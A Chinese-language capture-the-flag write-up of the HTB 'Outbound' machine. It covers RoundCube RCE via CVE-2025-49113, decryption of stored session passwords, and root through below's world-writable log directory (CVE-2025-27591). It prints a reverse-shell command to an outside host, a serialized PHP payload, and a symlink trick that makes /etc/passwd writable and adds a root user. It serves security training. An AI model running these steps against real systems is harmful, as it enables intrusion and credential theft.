从RoundCube RCE到Below权限提升:Outbound靶机完整技术解析

本文详细解析了HTB Outbound靶机的完整渗透过程,从利用RoundCube 1.6.10的认证反序列化漏洞获取初始访问权限,到通过数据库会话解密获取凭证,最终利用below工具的世界可写目录漏洞实现权限提升。

HTB: Outbound

靶机信息

项目 详细信息
名称 Outbound
发布日期 2025年7月12日
退役日期 2025年11月15日
操作系统 Linux
难度 简单 [20]
创建者 TheCyberGeek
场景 给定初始凭证:tyler / LhKL1o9Nm3X2

侦察阶段

初始扫描

nmap扫描显示两个开放端口:

1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12
80/tcp open  http    nginx 1.24.0 (Ubuntu)

Web服务器重定向到 mail.outbound.htb,将该域名添加到hosts文件:

1
10.10.11.77 mail.outbound.htb

初始访问

RoundCube登录

访问 mail.outbound.htb 显示RoundCube邮件系统,版本为1.6.10。使用提供的凭据 tyler / LhKL1o9Nm3X2 成功登录。

CVE-2025-49113利用

该漏洞是RoundCube 1.6.10中的认证PHP反序列化漏洞,允许远程代码执行。使用公开的PoC进行利用:

1
2
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'"

成功获得反向Shell,用户为 www-data

权限提升

容器环境确认

当前环境为Docker容器(IP地址172.17.0.2),容器内有三个用户:jacob、mel、tyler。

RoundCube数据库分析

配置文件 /var/www/html/roundcube/config/config.inc.php 包含数据库连接信息:

1
2
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

会话密码解密

session 表的 vars 字段提取加密密码(base64编码的序列化PHP对象)。使用RoundCube自带的解密脚本:

1
./bin/decrypt.sh hcVCSNXOYgUXvhArn1a1OHJtDck+CFME

输出:LhKL1o9Nm3X2(tyler的密码)

手动3DES解密

也可以使用CyberChef手动解密:

  1. Base64解码获取原始数据
  2. 前8字节为IV,剩余为密文
  3. 使用3DES-CBC模式,密钥为 rcmail-!24ByteDESkey*Str
  4. IV为 85c54248d5ce6205

获取jacob凭证

从jacob的会话数据中提取加密密码:

1
./bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/

输出:595mO8DmwGeD

SSH访问jacob

使用解密后的密码登录RoundCube邮箱,发现两封重要邮件:

  1. 告知jacob已获得查看日志文件的权限
  2. 包含新的SSH密码:gY4Wr3a1evp4

使用该密码成功SSH登录jacob账户。

root权限提升

sudo权限分析

jacob可以无密码运行below命令,但有部分限制:

1
2
3
4
5
User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, 
    !/usr/bin/below --config*, 
    !/usr/bin/below --debug*, 
    !/usr/bin/below -d*

CVE-2025-27591利用

Below v0.9.0之前版本存在权限提升漏洞,会创建世界可写的 /var/log/below 目录。

攻击步骤:

  1. 检查现有日志目录:

    1
    2
    
    ls -ld /var/log/below/
    drwxrwxrwx 3 root root 4096 Jul 14 16:39 below/
    
  2. 删除root日志文件并创建符号链接:

    1
    2
    
    rm /var/log/below/error_root.log
    ln -sf /etc/passwd /var/log/below/error_root.log
    
  3. 运行below(触发权限更改):

    1
    
    sudo below
    
  4. 检查passwd文件权限:

    1
    2
    
    ls -l /etc/passwd
    -rw-rw-rw- 1 root root 1840 Jul 14 16:40 /etc/passwd
    
  5. 添加特权用户:

    1
    
    echo -e 'oxdf::0:0:oxdf:/root:/bin/bash\n' >> /etc/passwd
    
  6. 切换用户获取root权限:

    1
    
    su - oxdf
    

技术深入分析

PHP漏洞利用分析

PoC生成的序列化对象结构:

1
2
3
4
5
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process";b:0;
    s:8:"_gpgconf";s:34:"echo "c2xlZXAgMg=="|base64 -d|sh;#";
    s:8:"_homedir";s:0:"";
}

命令通过base64编码嵌入,避免特殊字符问题。

CyberChef高级技巧

使用Registers功能简化3DES解密流程:

  1. “From Base64” → “To Hex”
  2. “Register"操作捕获前16字符作为IV
  3. “Find / Replace"移除IV部分
  4. “Triple DES Decrypt"使用保存的IV

Sudo规则绕过

原始sudoers配置包含复杂的命令别名限制,修改后允许完全访问below命令。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计